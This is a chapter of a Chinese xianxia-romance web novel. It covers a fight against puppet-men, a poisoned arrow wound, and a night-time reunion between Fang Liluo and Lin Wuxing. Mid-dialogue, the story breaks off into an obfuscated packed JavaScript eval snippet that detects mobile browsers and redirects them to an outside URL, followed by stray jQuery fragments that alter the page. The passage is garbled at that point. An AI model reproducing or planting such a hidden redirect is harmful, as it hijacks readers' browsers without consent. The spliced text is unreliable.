73. 短时相逢

作品:《我真的没有暗杀师兄啊!

    无奈之下,方里萝把烧鱼一番抱上后院的墙头,她自己和风吹雪还有秦立在下面抵挡人傀。


    人傀们虽然失了灵智,没有意识,但身体素质却异于常人,两步就能跃上墙头,用血迹斑斑,形如雀爪的手去抓烧鱼一番的腿。


    烧鱼一番吓得尖叫,把手里的玄鸟杖挥得看不清楚。风吹雪闻声扬起百草的藤蔓,两鞭下去就将那几个人傀的身上打得血烂。


    与此同时,方里萝用三霜剑祭出金色剑阵,数道金剑盘旋围绕在烧鱼一番身边,将院墙上下的人傀悉数斩杀。


    秦立建议道:“吹雪姑娘,你们一起到墙头上吧,下面有我和方姑娘。”


    方里萝也点头附和:“风吹雪,你护好自己和烧鱼一番。”


    风吹雪是个干脆的人,不再推辞。她翻身立于院墙上,看见人傀过来便狠狠挥上一鞭。只是在方里萝和林渡过来之前,她已经和秦立艰难抵挡将近两个时辰了,秦立常年习武,体力勉强还能支撑,她的身体却是有些吃不消了。


    有风吹雪在旁边帮忙,烧鱼一番心里踏实了些,这才敢让玄鸟杖离手去击打人傀。


    林渡解决完后院的人傀,走出院门一看,竟还有数不清的人傀等在前面,怎么也杀不尽似的。林渡心中大为光火,一剑插地,剑气瞬间震飞数百人傀。


    体验过这一遭之后,不管黑帷郎有没有对他的儿子下咒,他也下定决心要除掉狗皮膏药一样的黑帷郎。


    看着人傀像野草一样灭了又生,方里萝意识到光靠武力无法解决问题,便道:“林宗主可否设下隔山阵拖住人傀?我可施法破界,助我们御剑出去。”


    林渡点头,挥出一剑将人傀震开一段距离后立即布阵。时不我待,方里萝立刻祭出通天的金色光柱,辅以水云掌,看着金柱直入云霄,便知结界已破。


    方里萝即刻御剑,一手拎起烧鱼一番,另一只手拉着风吹雪。林渡则御剑带着秦立。


    五人刚出丢神庙,一只袖箭出其不意地从背后袭来,直直射中了方里萝的左肩。方里萝一时吃痛,左手下意识地松了松。烧鱼一番当即发出一声尖叫,只觉得身体瞬间失重,猛地向下坠去。


    方里萝眼疾手快反手握紧了她,因用力导致左肩的伤口源源不断地向下流血,一直流到烧鱼一番的脸上和手上。


    “你流血了,快停下来。”烧鱼一番喊道。


    没等方里萝回应,又一只袖箭袭来。这次林渡有了防备,挥出手里的剑,打飞了那只袖箭。


    “你先停下,让我看看你的伤。”风吹雪急声道。


    方里萝本想跑到安全的地方再停下来,但她实在没了力气,觉得身子越来越热,疲软无力。刚落地,她就倒在了地上。


    烧鱼一番急忙把她扶在怀里,风吹雪去看她左肩后面的伤,只见伤口已经溃烂,那袖箭上竟淬了毒。


    “他爹的。”林渡气死了也只会骂这一句,“肯定是黑水引干的!”


    风吹雪沉声道:“这里不便久留,先回去,我有办法给她解毒。”


    离开了丢神庙的结界,烧鱼一番就可以使用传送阵,便道:“说下具体位置,我先送她回去。”


    秦立对这里最为熟悉,看了看四周,说道:“西南方向三十里处,阳远城。”


    烧鱼一番旋即在腰鼓上画了阵法。在视线快要陷入黑暗的时候,方里萝隐约看见丢神庙的墙头上站着两个黑衣男人,一人头戴帷帽。


    “黑帷郎……”她握紧了三霜剑,留下虚弱的一声。


    丢神庙的墙头上,黑水引看着几人离去的背影,轻声询问:“有用吗?他们里面可是有一个百年难遇的神医。”


    黑帷郎冷笑道:“她是百年难遇的神医,我那是千年难遇的奇毒。”


    黑水引:“可是……”


    “少废话。”黑帷郎冷冷瞥他一眼,“你要是来长他人志气,灭自己威风的,那就休怪我也让你尝尝中毒的滋味。”


    “属下不敢。”黑水引急忙伏低了身子。


    黑帷郎望着几人离去的方向,嘴角浮上笑意,语气中不免得意:“等着她来求我吧。”


    阳远城内,风吹雪在给方里萝清理伤口的时候才发现她的左小臂上还有一道深可见骨的剑伤,正思索着是何时伤的,便听烧鱼一番忧心忡忡地问:“她的毒能解吗?”


    风吹雪收回心神,在她左肩的伤口上敷了药,缠上干净的布帛,回道:“目前看来没什么问题,但她夜里可能会发热,我先去熬点药预备着。”


    烧鱼一番稍稍放下心:“好,那我今晚守着她。”


    看着同样带伤的风吹雪,烧鱼一番想了想,还是叮嘱了一声:“谢谢你和秦将军救了我。我去熬药,你……你身上也有剑伤,还是先包扎一下吧。”


    风吹雪愣了愣,微笑着嗯了一声,坐下写了药单子。


    烧鱼一番接过药单,垂眸走了。


    夜里,烧鱼一番睡得正香,迷迷糊糊听见有人在轻轻敲门,以为是风吹的,翻了个身继续睡了。不一会儿,有人晃了晃她的肩膀,喊她:“方里,方里……”


    是男人的声音。


    烧鱼一番两眼猛地睁开,一个激灵翻身坐了起来,转头看见一个黑漆漆的人脸近在咫尺,吓得她立刻大叫一声,昏死过去,左胳膊正好打在方里萝受伤的胳膊上。


    一直沉睡的方里萝疼醒了,痛苦地闷哼。


    林雾行这才发现里面还躺着一个人。床帐里面一片漆黑,他拢起纱帐,月光渗了进来,他看见烧鱼一番四仰八叉地躺在外面,方里萝眉眼拧在一起趴在床的里面,右脸埋在被褥里,左脸上全是密密麻麻的细汗。


    林雾行的心霎然收紧,刚拿起烧鱼一番压在方里萝身上的左胳膊,准备喊方里萝起来,房门却猛地被打开。


    “滚开!”风吹雪甩出藤蔓,把他当成了不怀好意的刺客。


    林渡、秦立、风起和叶落听见声音也急匆匆地跑到二楼。男女有别,四人都等在房门外,威胁里面的刺客。


    林渡喊道:“快滚出来!不然老子可不会放过你。”


    秦立向后招招手,一队佩刀侍卫步履有序地小跑上来,在走廊上一字排开,另有一队人举着火把跑上来,火光映得屋内瞬间灯火通明。


    林雾行懵了,举手自报家门:“大家别误会,我是林雾行。”


    在场的人全都懵了。林渡只觉得丢人,自家儿子半夜潜入女子闺房,还被当场抓住,他的老脸都没地儿放。


    “那你更要滚出来!”林渡怒道。


    林雾行没有理会他的话,而是说道:“吹雪姑娘,方里她怎么了?她在喊疼。”


    风吹雪闻言快步走到床榻边,看见穿着中衣吓晕过去的烧鱼一番,拽过被子扔她身上,说道:“请林少主先出去。”


    林雾行只好先退到房门外,林渡听到声音抬腿就是一脚,风起和叶落十分熟练地冲过去挡在他和林渡中间,不知道的还以为他俩多么想念自家少主呢。


    只是苦了叶落,捂着屁股嘶了一声。


    风吹雪掀开方里萝身上的被子一角,看见伤口渗出的血已经染红了白绷带,心头火起,恨铁不成钢地咬牙把烧鱼一番拍醒。


    烧鱼一番立刻惊坐起来,左手又不小心按到了方里萝受伤的胳膊。


    方里萝痛嚎出声。


    风吹雪简直无语:“……你下来。”


    林雾行冲到床边,把烧鱼一番吓得连滚带爬下床穿衣服。


    为了方便换药,方里萝只穿了一件肚兜。风吹雪便给她盖上了被子。但林雾行还是看到了她左胳膊和肩膀上染了血的绷带,眼睛立刻酸了,问道:“方里,你……你这是怎么了?”


    方里萝趴在床上浑身无力,只睁开了一条眼缝,她听出了林雾行的声音,缓声道:“林雾行,是你吗?”


    “是我,是我。”林雾行说道,“念念来送信,等了一个时辰没看见你回来,我怕你出事,便赶过来了。方里,你受的是什么伤?严重吗?”


    方里萝笑了笑,道:“我没事,只是普通的箭伤。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281667|176037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    林雾行怜惜地擦去她脸上的汗珠,感觉到她脸上发烫,惊道:“你发烧了?”


    风吹雪连忙摸了摸她的额头,又让烧鱼一番端药过来,道:“林少主,她等会还要换药,你先出去吧。”


    林雾行有些不舍,但仍温声道:“方里,你换好药我再过来。”


    方里萝点点头。


    烧鱼一番却大吃一惊:“你过来我睡哪儿?”


    众人:“……”


    风吹雪想起她那毛毛躁躁的样子,指不定又要按到方里萝的伤口,便说道:“你跟我一起睡。”


    烧鱼一番:“胡闹!”


    众人:“……”


    秦立在外面竖着耳朵听,打圆场道:“有房间啊有房间,二楼随便住。那个……来人,把楼上的空房间全部打扫一遍。”


    风吹雪摸了摸烧鱼一番端来的药,催道:“林少主,药快凉了。”


    林雾行明白她话里的意思,捋了捋方里萝额边的碎发,起身在门外等候。本以为还会迎来他爹踢来的一脚,没想到林渡在他冲进屋里的那一刻觉得太丢人,回屋去了。


    秦立招呼着让人退下,声明今晚是个误会,严令不许外传。


    袖箭上的毒还未完全散去,方里萝完全使不上劲,意识也有点不清楚。风吹雪和烧鱼一番扶她起来喝药,又给她换了药敷和绷带,用温水帮她擦了擦脸和身子上的汗才离开。


    林雾行等人都走了才进屋,坐在床边看她。他方才在外面已经从风起和叶落那里听到了事情的来龙去脉,心里满是后悔和愧疚。


    “我当初就不该救黑水引,也不该把你一个人留在这里。”


    方里萝的眼睛忽开忽合,听见他的话笑了笑,撑起右臂说道:“帮我翻个身,一直趴着腰疼。”


    林雾行帮着她右侧躺在床上,盖好被子。


    方里萝开始回他的话:“你不帮他,黑帷郎也会找上你。你不离开,我也会有受伤的那天。这都不是你的错,别怪自己。”


    林雾行把她的右手握在手心里,他的脸隐匿在拢起的床帐旁边,方里萝看不清他的表情,只好拉拉他的手:“躺下来说说话。”


    林雾行动了动身子,靠在床头,温声道:“我坐在这就行,怕碰到你的伤口。”


    方里萝轻笑道:“没关系,小心点就行。”


    见他摇摇头,方里萝往里面挪了挪,又道:“躺下来吧,我想你了。”


    林雾行脱了大氅躺下来,特意和她隔开了一段距离,给她掖了掖被子,右手握着她的右手放在两人中间。


    两人面对面看了对方很久,林雾行的大拇指一直在轻轻摩挲着方里萝的手,火盆里的木炭噼里啪啦地轻响,屋里一片暖洋洋。


    方里萝忽然开口:“外面是不是在下雪?”


    “嗯,我回来那会儿就在下。”


    “那路上岂不是很冷。”


    “还好,就是一路都在被雪花打脸。”


    方里萝笑出了声:“活该,谁让你半夜跑回来。”


    林雾行亲了亲她的额头:“我不放心,也想你了。”


    方里萝想去亲他,无奈动一动都很费劲,只能握紧了他的手:“我也想你了,一闲下来就开始想你,一想你就笑。”


    林雾行终于笑了出来,道:“可你的回信里一点也看不出来,除了那句小小的我想你了,其他的信都在骂我臭不要脸。”


    方里萝笑:“我要是不骂你两句,你什么见不得人的话都敢往上写,也不怕人看见。”


    林雾行大言不惭:“我敢写敢认。”


    方里萝哼了一声,“那你敢做吗?”


    败了败了。


    林雾行认输,笑道:“我现在不敢。”


    他亲了亲她的脸颊,躺回去闭上了眼睛,含笑道:“困了,睡觉。”


    方里萝睡多了,不是很困,静静地看着他的睡颜,听见他的呼吸逐渐绵长。


    他忽然呢喃了一句:“方里,希望明天醒来你就好了。”